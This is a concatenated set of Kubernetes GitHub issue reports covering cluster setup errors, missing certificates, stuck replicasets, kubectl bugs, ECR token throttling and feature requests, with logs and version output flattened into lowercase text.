setting up a kubernetes cluster on a couple of gce-fedora machines  per https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/fedora/fedora_manual_config.md  i ran into:      $ sudo systemctl status kube-scheduler -l c.host%21%3d&resourceversion=29: dial tcp 10.240.255.44:8080: connection refused jul 05 01:23:25 fed-master kube-scheduler 2574 : e0705 01:23:25.474400    2574 reflector.go:162  failed to watch  api.pod: get http://fed-master:8080/api/v1beta3/watch/pods?fieldselector=spec.host%3d&resourceversion=29: dial tcp 10.240.255.44:8080: connection refused jul 05 01:23:25 fed-master kube-scheduler 2574 : e0705 01:23:25.474413    2574 reflector.go:162  failed to watch  api.node: get http://fed-master:8080/api/v1beta3/watch/nodes?fieldselector=spec.unschedulable%3dfalse&resourceversion=29: dial tcp 10.240.255.44:8080: connection refused      think it's because the apiserver fails to generate certs in /var/run/kubernetes. creating the dir and chowning it as kube worked. this didn't happen on the node, so i suspect it's a kube vs root permissions issue.  we should either make the installation smarter or update the docs.  @eparis @wattsteve

right now, we surface the latest spec from head on gh-pages at http://kubernetes.io/swagger-spec/, and the corresponding swagger-ui on http://kubernetes.io/third_party/swagger-ui/.  we should also surface the versioned spec: for ex: http://kubernetes.io/{kube-release-version}/swagger-spec and http://kubernetes.io/{kube-release-version}/swagger-ui.  based on conversation: https://github.com/kubernetes/kubernetes/pull/14057 issuecomment-140928328  cc @lavalamp @bgrant0607 @brendandburns @caesarxuchao

attached the screen shot from grafana.   we can notice that heapster memory usage is zero.  environment: 1. kubernetes version 1.06 2. amazon webservice  machines.      c3.large for master and minions. 3. ami version.  -- ubuntu-vivid-15.04-amd64-server-20150611  ami-f57b8f9e  4. see below pics from cadvisor memory and cpu usage is zero  <img width=\ 557\  alt=\ screen shot 2015-09-29 at 12 28 54 pm\  src=\ https://cloud.githubusercontent.com/assets/8891432/10175819/e95113e6-66a5-11e5-96d8-19888c06bb3b.png\ > ! file-page1  https://cloud.githubusercontent.com/assets/8891432/10180545/f4455aba-66c2-11e5-89e4-683c88930760.jpg  ! file-page2  https://cloud.githubusercontent.com/assets/8891432/10180547/f800b3f2-66c2-11e5-9ead-d3fb0edd1690.jpg   thanks for  vish kannan to debug this issue.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->  i have installed in one single node and one master node setup this is not working,same thing was working for me in kubernetes version 1.3.0 15 days back,please tell me the fix .    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :no    is this a bug report or feature request?    choose one :    kubernetes version    use  kubectl version  :1.3.6    environment  : -   cloud provider or hardware configuration  :no -   os    e.g. from /etc/os-release :   root@masternode:/home/vagrant/kubernetes/cluster  cat /etc/os-release   name=\ ubuntu\    version=\ 14.04.4 lts, trusty tahr\    id=ubuntu   id_like=debian   pretty_name=\ ubuntu 14.04.4 lts\    version_id=\ 14.04\    home_url=\ http://www.ubuntu.com/\    support_url=\ http://help.ubuntu.com/\    bug_report_url=\ http://bugs.launchpad.net/ubuntu/\  -   kernel    e.g.  uname -a  :linux masternode 3.13.0-92-generic  139-ubuntu smp -   install tools  : -   others  :   linux masternode 3.13.0-92-generic  139-ubuntu smp   export kubernetes_provider=ubuntu   export kube_version=1.3.0 and 1.3.6   export flannel_version=0.5.0   export etcd_version=2.2.0    what happened  :  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?  kubectl failed, will retry 2 times  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?  kubectl failed, will retry 1 times  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?  'kubectl get nodes' failed, giving up  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?  kubectl failed, will retry 2 times  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?  kubectl failed, will retry 1 times  the connection to the server 10.10.103.250:8080 was refused - did you specify the right host or port?   what you expected to happen  :

is this a request for help?    no, we worked around it but i'm suspicious that it may be a bug.    what keywords did you search in kubernetes issues before filing this one?    lots of things, like  replicaset , and more general search on the issue tracker using google. there are some issues that i think may be related but aren't exactly this problem:  29735,  1892  ---    kubernetes version        client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie  -   kernel    e.g.  uname -a  :  4.4.23-k8s  -   install tools  :  kops     what happened  :  after updating a deployment in a namespace other than the  default  namespace a  replicaset  got \ stuck\  with one pod desired count and 0 pods available.  scaling the deployment to 0, to 1 and to some random values greater than 1 resulted in entries in  kubectl get events  for that namespace:      $ kubectl --namespace foo get events -w lastseen                         firstseen                        count     name               kind         subobject   type      reason              source                     message 2016-10-17 11:12:10 +0200 cest   2016-10-17 11:03:04 +0200 cest   3         flink-jobmanager   deployment               normal    scalingreplicaset   {deployment-controller }   scaled down replica set flink-jobmanager-3299001242 to 0 2016-10-17 11:12:14 +0200 cest   2016-10-17 10:59:39 +0200 cest   4         flink-jobmanager   deployment             normal    scalingreplicaset   {deployment-controller }   scaled up replica set flink-jobmanager-3299001242 to 1      this did not create any pods though. after observing  get events  for a few minutes, eventually entries like this appeared:      2016-10-17 10:18:19 +0200 cest   2016-10-17 10:18:19 +0200 cest   1         flink-jobmanager-3299001242-64mmu   pod       spec.containers{flink}   normal    created   {kubelet some-host.eu-central-1.compute.internal}   created container with docker id fc4bce8c4a41; security: seccomp=unconfined  2016-10-17 10:18:19 +0200 cest   2016-10-17 10:18:19 +0200 cest   1         flink-jobmanager-3299001242-64mmu   pod       spec.containers{flink}   normal    started   {kubelet some-host.eu-central-1.compute.internal}   started container with docker id fc4bce8c4a41      sshing into that node did not show any containers however, and  docker inspect  did not work with that id.  the pod  flink-jobmanager-3299001242-64mmu  could not be retrieved with  kubectl  at all. i tested various namespaces to see if it somehow ended up somewhere else and even in the brute-force  kubectl get pods --all-namespaces --show-all  it was not listed.  attempts to  kubectl delete rs  on the \ stuck\  replicaset returned successes, but the replicaset was not removed / re-created.  we eventually fixed it by deleting the  deployment  and creating it again, which removed the phantom pod that occured several times in the logs and also the replicaset.    what you expected to happen  :  i expected a pod to get created by the replicaset.    how to reproduce it    as minimally and precisely as possible :  we don't know yet, but i'm trying to figure out if we can reproduce it.    anything else we need to know  :  these entries showed up in the  kube-controller-manager  logs:      i1017 09:25:55.346085       6 deployment_controller.go:465  error syncing deployment foo/flink-jobmanager: operation cannot be fulfilled on replicasets \ flink-jobmanager-3299001242\ : the object has been modified; please apply your changes to the latest version and try again i1017 09:25:55.350042       6 event.go:217  event api.objectreference{kind:\ deployment\ , namespace:\ foo\ , name:\ flink-jobmanager\ , uid:\ 0c546120-944b-11e6-8192-027da529d661\ , apiversion:\ extensions\ , resourceversion:\ 4151610\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set flink-jobmanager-3299001242 to 1

kubectl edit is not working on head. it's working on 1.5.\r \r    \r $ kubectl edit -f pod.yaml\r error: when paths, urls, or stdin is provided as input, you may not specify resource arguments as well\r    \r \r @kubernetes/sig-cli-bugs

an option to write an abac configuration file during cluster creation was created as part of 1.6 to allow for an easier user transition experience. that code should be removed when no longer needed.\r \r https://github.com/kubernetes/kubernetes/pull/42197

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.3-1+11d2fe73285bf7-dirty\ , gitcommit:\ 11d2fe73285bf763bbb3976c99510e1dddcf043f\ , gittreestate:\ dirty\ , builddate:\ 2017-03-16t14:56:53z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.3-1+11d2fe73285bf7-dirty\ , gitcommit:\ 11d2fe73285bf763bbb3976c99510e1dddcf043f\ , gittreestate:\ dirty\ , builddate:\ 2017-03-16t14:56:53z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r ibm\r -   os    e.g. from /etc/os-release :\r ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  :\r linux kube-dal10-cr1ae13de8f8ae48349427ad8857dd5069-w2 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r i am running addon manager as a pod with  this yaml  https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/kube-addons/kube-addon-manager.yaml  and have placed the kube dashboard yaml from  here  https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml  into  /etc/kubernetes/addons .  i have modifed the yaml to have the  addonmanager.kubernetes.io/mode: reconcile  label.  see the full yaml  here  https://gist.github.com/jsloyer/e3aacec25186eaa32a3ac4796174035e .\r \r addon manager runs and successfully creates the deployment and service but i have an error in the log about unable to prune restmappings.\r \r    \r info: == reconciling with deprecated label ==\r error: no objects passed to apply\r info: == reconciling with addon-manager label ==\r deployment \ kubernetes-dashboard\  created\r error: error retrieving restmappings to prune: invalid resource apps/v1beta1, kind=deployment, namespaced=true: no matches for apps/, kind=deployment\r info: == kubernetes addon reconcile completed at 2017-03-28t13:36:10+0000 ==\r    \r \r \r   how to reproduce it    as minimally and precisely as possible :\r see above\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   feature request  :\r  \r   what happened  :\r a readiness probe logs an event when it changes from a success to a failed state. however it never adds an event when it goes back to ready  and being included in traffic for any services it is part of .\r \r   what you expected to happen  :\r an event message to be logged stating that the probe is healthy again and ideally the amount of time the pod was unhealthy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the following yaml and then watch the events. the deployment creates a pod that alternates availability every 30 seconds.\r \r https://gist.github.com/djschny/a220dc4b828efaa05e6cccfff6130579\r \r   anything else we need to know?  :\r appears that does not appear to be bug from my research based upon that there is not an attempt in the code to log a successful event message:\r \r https://www.google.com/url?hl=en&q=https://github.com/kubernetes/kubernetes/blob/v1.7.6/pkg/kubelet/prober/prober.go%23l94&source=gmail&ust=1507908211149000&usg=afqjcnf1jnfepis8fds04qruwdat87orag\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.6\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

i just filed the bug  61577 but it was closed as configuration issue.  i just paste my step and ask for help what's wrong with my step:\r \r i have just want to enable the one node infbjvm555  kubernetes master.\r here is my step :\r \r preparation :\r   os is oracle linux release 7.3  or redhat7.1\r 1）swapoff -a to close swap .\r 2  disable selinux.\r 3   vi   /etc/sysctl.d/k8s.conf\r net.bridge.bridge-nf-call-ip6tables = 1\r net.bridge.bridge-nf-call-iptables = 1\r \r installation:\r 1  installed the docker and configured the cgroup to systemd. restart docker. \r     docker version can be 17.03 or 17.06.\r 2  install kubeadm, kubelet和kubectl \r   yum install -y kubelet kubeadm kubectl\r      \r  root@infbjvm555 yum.repos.d   rpm -qa|grep kub\r kubernetes-cni-0.6.0-2.0.1.el7.x86_64\r kubernetes-cni-plugins-0.6.0-2.0.1.el7.x86_64\r kubelet-1.9.6-0.x86_64\r kubectl-1.9.6-0.x86_64\r kubeadm-1.9.6-0.x86_64\r      \r   systemctl enable kubelet ;    \r   systemctl start kubelet  ;  \r   at this moment, the error was reported:\r   .............................................\r   mar 23 11:15:54 infbjvm555 systemd: kubelet.service: main process exited, code=exited, status=1/failure\r mar 23 11:15:54 infbjvm555 systemd: unit kubelet.service entered failed state.\r mar 23 11:15:54 infbjvm555 systemd: kubelet.service failed.\r mar 23 11:16:04 infbjvm555 systemd: kubelet.service holdoff time over, scheduling restart.\r mar 23 11:16:04 infbjvm555 systemd: started kubelet: the kubernetes node agent.\r mar 23 11:16:04 infbjvm555 systemd: starting kubelet: the kubernetes node agent...\r mar 23 11:16:05 infbjvm555 kubelet: i0323 11:16:05.033441 6392 feature_gate.go:226  feature gates: &{{} map  }\r mar 23 11:16:05 infbjvm555 kubelet: i0323 11:16:05.033601 6392 controller.go:114  kubelet config controller: starting controller\r mar 23 11:16:05 infbjvm555 kubelet: i0323 11:16:05.033612 6392 controller.go:118  kubelet config controller: validating combination of defaults and flags\r mar 23 11:16:05 infbjvm555 kubelet: error: unable to load client ca file /etc/kubernetes/pki/ca.crt: open /etc/kubernetes/pki/ca.crt: no such file or directory\r mar 23 11:16:05 infbjvm555 systemd: kubelet.service: main process exited, code=exited, status=1/failure\r mar 23 11:16:05 infbjvm555 systemd: unit kubelet.service entered failed state.\r mar 23 11:16:05 infbjvm555 systemd: kubelet.service failed.\r \r  root@infbjvm555 log   cd /etc/kubernetes/\r  root@infbjvm555 kubernetes   ls -rlt\r total 0\r drwxr-xr-x 2 root root 6 mar 22 03:30 manifests\r \r actually, there is no /etc/kubernetes/pki/ dir and files.\r \r the question is :\r 1  after we issue \  systemctl start kubelet \ ; do we need  \ kubelet.service\  are running properly ? \r   currently , the kubelet service can't be started because this issue.   \r   if we run \ kubeadm init --kubernetes-version=v1.9.6 --pod-network-cidr=10.244.0.0/16 \  when the kubelet service was not started, the kubeadm init will be failed.\r \r 2  i can use \ kubeadm init \  to solve it   the required  files   /etc/kubernetes/pki/ca.crt  will be created after run \  kubeadm init\   , but after that ,when i run \ kubeadm init --kubernetes-version=v1.9.6 --pod-network-cidr=10.244.0.0/16 \  , it failed again. \r \r \r \r

https://github.com/kubernetes/kubernetes/blob/200bc669380528bb5e710608dddb208bc325b2a9/pkg/cloudprovider/providers/aws/aws.go l3757\r \r about the delete elb logic why there is a comment that the elb will only one securitygroups?\r but i think when create the elb we can use the annotation to add the extrasecuritygroup and also can add by the globalconfig.elbsecuritygroup.\r 

alpha currently uses a naive implementation to achieve the desired behavior. would be nice to make some improvements for beta so a possible stable release would have fewer architectural changes.  caching is a small change that will likely be very beneficial. @liggitt has also brought up that our use of  confirmnoescalation  can also be rethought. 0   https://github.com/kubernetes/kubernetes/pull/28281 discussion_r69127365

follow-up for  11382.  proposed features for the 'top' command, after heapster is adapted to an apiserver: -     sorting by column -     different output methods  yuml/json/gotemplate  -     watch -     pasteable output for  kubectl describe  -     support for additional rollup resource types: services, replicasets/rcs, deployments, jobs, daemonsets, ingress

-  x  move docs/design, docs/design, and docs/proposals to the community repo under   contributors/ .  https://github.com/kubernetes/community/tree/master/contributors  and combine design and proposals docs under design-proposals directory\r \r -  x  freeze prs on the moved directories  cc/ @grodrigues3 \r \r -  x  make announcement about freeze\r \r -  x  update the files in those directories in this repo to contain a forwarding link to the new location of the files using a script. _note: there was a script used during the docs move for kubernetes.github.io. if you know where it is, it would be helpful. : _\r \r -  x  make announcement on updated locations of those files\r \r -     update any links that point to the moved files\r \r -     delete the moved docs from the kubernetes repo\r \r -  x  remove freeze\r  \r \r \r cc/ @kubernetes/contributor-experience \r

in https://github.com/kubernetes/kubernetes/issues/4672 there is a request to build certificate rotation in the clients. building on top of the work done for kubeadm, it will be easiest to begin by building certificate rotation for kubelets firsts. in order to support transitioning gradually to using the certificate rotation feature, it will be built with a setting to enable/disable it. that will allow existing clusters to function without change, and enable the feature to be disabled while it is alpha or if it misbehaves.\r \r there is a question of where to put the setting. we are considering two options.\r \r 1. a command line parameter to kubelet.\r   limits the setting to the kubelet only, which is the only place this functionality will be released at first.\r 2. a value in kubeconfig\r   the setting for disabling certificate rotation could be placed right beside the configuration for the certificates themselves.\r \r   kubernetes version    use  kubectl version  :\r  for kubernetes 1.6\r \r

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.0\ , gitcommit:\ 3ed7d0f453a5517245d32a9c57c39b946e578821\ , gittreestate:\ clean\ , builddate:\ 2017-01-13t00:23:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :  aws\r -   os    e.g. from /etc/os-release :  container linux by coreos stable  1235.5.0 \r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : kargo \r -   others  :\r \r   what happened  :\r \r we can pull images from aws ecr most of the time but because of aws api throttling, the kubelet can't refresh the token at some point and pod creation later fails during docker pull phase:\r \r failed to pull image \ 123123123123.dkr.ecr.us-east-1.amazonaws.com/repo/imagename:latest\ : unauthorized: authentication required\r error syncing pod, skipping: failed to \ startcontainer\  for \ imagename\  with errimagepull: \ unauthorized: authentication required\r \r and in kubelet logs minutes before the deployment was created:\r \r \ feb 08 19:13:30 ip-10-189-36-185.ec2.local kubelet 11674 : e0208 19:13:30.313769   11708 aws_credentials.go:201  while requesting ecr authorization token throttlingexception: rate exceeded\r \r \r   what you expected to happen  :\r \r kubelet should aggressively retry to refresh ecr tokens on that type of event\r \r   how to reproduce it    as minimally and precisely as possible :\r \r you'd need to force aws to throttle the api call... i can hardly give a good recipe for that. \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : schedule logs pods nodes\r \r ---\r \r   is this a bug report or feature request?    choose one : probably a feature request? but it feels like a bug.\r \r   kubernetes version    use  kubectl version  : v1.4.9\r \r   environment  :\r -   cloud provider or hardware configuration  : google container engine\r \r   what happened  :\r \r one of the nodes in our instance group became unhealthy  it was not responding to network activity . i'm working with gcloud support to figure out exactly what went wrong here. the pods that were assigned to that node were still accepting requests, but due to the network problem, all requests were timing out.\r \r we didn't notice what the problem was until after we'd cycled our pods, and kubernetes  correctly identifying the node as unhealthy  scheduled all of the pods on different machines. this has the side-effect of deleting the logs on the broken machine. so unfortunately i don't know which pods were on the machine at the time we had the problem.\r \r i could not figure out which pods were running on the node when it broke, or whether the kubernetes services noticed the problem and routed around it.  our application level logging would indicate that the services did not notice there was an issue and continued sending request to the broken instance .\r \r   what you expected to happen  :\r \r i would be able to look at a log to find out \ what was scheduled on this instance when it broke\ , and another log that i can look at to se \ which pods were part of this service at a given time\ .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r try to figure out which pods were scheduled to which nodes 4 hours ago.\r \r   anything else we need to know  :\r \r i'm working with gcloud support to figure out what exactly happened; i'm not worried that something went wrong  things always go wrong , i'm worried that there's no way of confirming my hypothesis about exactly what happened, or provide any additional debugging data to figure out the underlying cause.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-autoscaling-migs/3925/ failed:  k8s.io  cluster size autoscaling  slow  shouldn't increase cluster size if pending pod is too large  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:125 expected     <bool>: false to equal     <bool>: true /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:121       previous issues for this test:  34581

/status  subresources are generally targeted updated for controllers set a logical whitelist of fields.  given the direction around creating new fields instead of abusing annotations, we should prevent the  /status  subresource from touching  objectmeta  fields in new resources that we add.\r \r to do this, we need to make it easy to add the restriction and add unit tests which can detect when new objectmeta fields have been added.  we may be able to tighten our existing  /status  subresources on a case-by-case basis.  i'd like to see new  /status  subresources start out this way.\r \r @kubernetes/api-reviewers @kubernetes/api-approvers \r @kubernetes/sig-api-machinery-proposals \r @pwittrock once we have a utility method for doing this, could your generator start making use of it?

is this a bug report or feature request?  : \r \r   what happened  :\r there are bugs  48422,  46241,  44348 caused by the inconsistent apis as explained in  46241 issuecomment-303218549  https://github.com/kubernetes/kubernetes/issues/46241 issuecomment-303218549 . \r in order to fix these issues and cherry-pick the patch into release-1.6, pr  46246 provides a workaround to keep the change as small as possible. \r now the  k8s.io/kubernetes/pkg/api/v1  and  k8s.io/client-go/pkg/api/v1  has been consistent in  k8s.io/api/core/v1  by pr  44784. so we can revert the workaround in pr  46246.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  : \r

recently e2e tests for ha master become broken/flaky. please see:\r https://k8s-testgrid.appspot.com/google-gce gce-ha-master

is this a bug report or feature request?  :\r  \r \r   what happened  :\r kube-apiserver logs time units are in both milliseconds and microseconds\r    \r message: i0927 18:41:55.838557 1 wrap.go:75  put /api/v1/namespaces/xxxx/configmaps/xxxx:  732.432µs  200   xxxx/v0.0.0  linux/amd64  kubernetes/$format  x.x.x.x:47754 \r \r message: i0927 18:41:55.838557 1 wrap.go:75  put /api/v1/namespaces/xxxx/configmaps/xxxx:  0.732ms  200   xxxx/v0.0.0  linux/amd64  kubernetes/$format  x.x.x.x:47754 \r    \r \r   what you expected to happen  :\r can we have a configuration for kube-apiserver to use only miliseconds. our logging team wants to standardize on one time unit only \r   how to reproduce it  as minimally and precisely as possible   :\r just look at the logs for kube-apiserver\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.7\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : 4.12.7 \r - install tools: tack\r - others:\r

now that https://github.com/kubernetes/kubernetes/releases/tag/v1.8.1 exists, i propose to do the next push of the staging repos.\r \r as for the previous pushes:\r - the push script: https://gist.github.com/anonymous/166bec7ae1dba1ac39bf534bdd945294  updated oct 16 \r - the last heads for a potential rollback: https://gist.github.com/anonymous/e29dbf711a60c0cccee45e5bcdcb407a  updated oct 16 \r - the test script: https://gist.github.com/anonymous/5e2b071ab8b0856ba6056b946c875e3c  updated oct 16 \r \r we restrict the push to master and the 1.8 branches because https://github.com/kubernetes/kubernetes/pull/53583 blocks 1.7 right now  and probably similarly for 1.6, 1.5 if we want to keep them up-to-date at all .\r \r note that this time the push command is  git push --follow-tags , which pushes the  kubernetes-   tags. also note that this   does not include semver tags   for client-go like v5.0.0. we will create this manually once the push is done.\r \r we made good progress with repairing the publishing bot for nightly pushes https://github.com/kubernetes/test-infra/pull/4134, but it isn't merged yet into test-infra and redeployed. though the good news is that it is running for some weeks now with nightly pushes to the private forks.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r when i start kube-controller-manager like tihis , the log_dir can not work.\r \r  /usr/bin/kube-controller-manager --v=0 --master=https://10.10.10.77:6443 --logtostderr=false --port=11011 --feature-gates=affinityinannotations=true --kubeconfig=/etc/kubernetes/controller-manager.kubeconfig --service-account-private-key-file=/etc/kubernetes/certs/server.key --root-ca-file=/etc/kubernetes/certs/ca.crt --log_dir=/home/test  \r \r   the logs output to the /tmp dir, not /home/test   \r    \r ll /tmp/kube-controller-manager \r -rw-r--r-- 1 root root 184 nov  2 16:26 /tmp/kube-controller-manager.dxl122-5.root.error.20171102-162655.12695.log\r -rw-r--r-- 1 root root 184 nov  2 16:28 /tmp/kube-controller-manager.dxl122-5.root.error.20171102-162812.14473.log\r    \r but, when i put   --log_dir  after  --feature-gates  ,\r \r  /usr/bin/kube-controller-manager --v=0 --log_dir=/home/test --master=https://10.10.10.77:6443 --logtostderr=false --port=11011 --feature-gates=affinityinannotations=true --kubeconfig=/etc/kubernetes/controller-manager.kubeconfig --service-account-private-key-file=/etc/kubernetes/certs/server.key --root-ca-file=/etc/kubernetes/certs/ca.crt \r \r the log output is   /home/test  .\r \r   what you expected to happen  :\r \r the options do not depend on the order.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.6.9\r - cloud provider or hardware configuration:hardware \r - os  e.g. from /etc/os-release :\r    \r name=\ newstart carrier grade server linux\ \r version=\ 5\ \r id=\ zteos\ \r id_like=\ rhel fedora\ \r version_id=\ 5\ \r pretty_name=\ newstart carrier grade server linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ http://www.gd-linux.com/\ \r bug_report_url=\ http://www.gd-linux.com/\ \r \r redhat_bugzilla_product=\ newstart carrier grade server linux\ \r redhat_bugzilla_product_version=\ 5\ \r redhat_support_product=\ newstart carrier grade server linux\ \r redhat_support_product_version=\ 5\ \r \r    \r \r - kernel  e.g.  uname -a  :\r  linux dxl122-5.novalocal 3.10.0-514.6.1.el7.x86_64  1 smp thu feb 16 19:50:09 cst 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools: ansible\r - others: \r

  \r i have two differents pods and i want to access from one pod to another as a service.\r works fine sometimes but sometimes not.\r this is my deployments and service\r \r    apiversion: v1\r kind: pod\r metadata:\r   name: lamp-deployment-php\r   labels:\r     app: lamp-deployment-php\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: lamp-pod-differents-pods\r   template:\r     metadata:\r       name: lamp-pod-php\r       labels:\r         app: lamp-pod-differents-pods\r     spec:\r       containers:\r       - name: php\r         image: svendocker/php-mysql\r         ports:\r          - containerport: 80\r         volumemounts:\r          - mountpath: /var/www/html/\r            name: php-source\r       volumes:\r        - name: php-source\r          hostpath:\r            path: /examples/lamp-differents-pods/php-code/\r            type: directory\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: lamp-deployment-mysql\r   labels:\r     app: lamp-deployment-mysql\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: lamp-pod-differents-pods\r   template:\r     metadata:\r       name: lamp-pod-mysql\r       labels:\r         app: lamp-pod-differents-pods\r     spec:\r       containers:\r       - name: mysql\r         image: mysql:5.5\r         ports:\r          - containerport: 3306\r         volumemounts:\r          - mountpath: /docker-entrypoint-initdb.d\r            name: mysql-init\r         env:\r          - name: mysql_database\r            value: \ foo_database\ \r          - name: mysql_user\r            value: \ foo_user\ \r          - name: mysql_password\r            value: \ foo_password\ \r          - name: mysql_random_root_password\r            value: \ true\ \r       volumes:\r        - name: mysql-init\r          hostpath:\r            path: /examples/lamp/mysql-scripts/\r            type: directory\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: lamp-service-differents-pods\r   labels:\r     app: lamp-service-differents-pods\r spec:\r   ports:\r   - name: php-port\r     port: 80\r     protocol: tcp\r     nodeport: 30081\r   - name: mysql-port\r     port: 3306\r     protocol: tcp\r     nodeport: 32307\r   clusterip: 10.96.0.2\r   type: nodeport\r   selector:\r     app: lamp-pod-differents-pods   \r \r \r when i try to connect from one pod to another , i receive sometimes \ connection refused\ \r \r   kubectl exec -it lamp-deployment-php-7fbcb98db4-mtgxr -- bash\r   curl  lamp-service-differents-pods.default.svc.cluster.local:3306\r %k+5dzx+��jvplq/7dr3c:mysql_native_password!�� 08s01got packets out of orderroot@lamp-  curl  lamp-service-differents-pods.default.svc.cluster.local:3306\r curl:  7  failed to connect to lamp-service-differents-pods.default.svc.cluster.local port 3306: connection refused\r   curl  lamp-service-differents-pods.default.svc.cluster.local:3306\r 5.5.59&5┤⎼\\t⎺s��05x;_k< ut$vmysql_native_password!�� 08s01got packets out of order\r \r \r   environment  :\r - kubernetes version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r virtual machine with virtualbox , 2gb ram\r \r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r \r - kernel  e.g.  uname -a  :\r linux jessie-master 4.9.0-0.bpo.5-amd64  1 smp debian 4.9.65-3+deb9u2~bpo8+1  2017-01-05  x86_64 gnu/linux\r \r - install tools:\r kubeadm\r \r

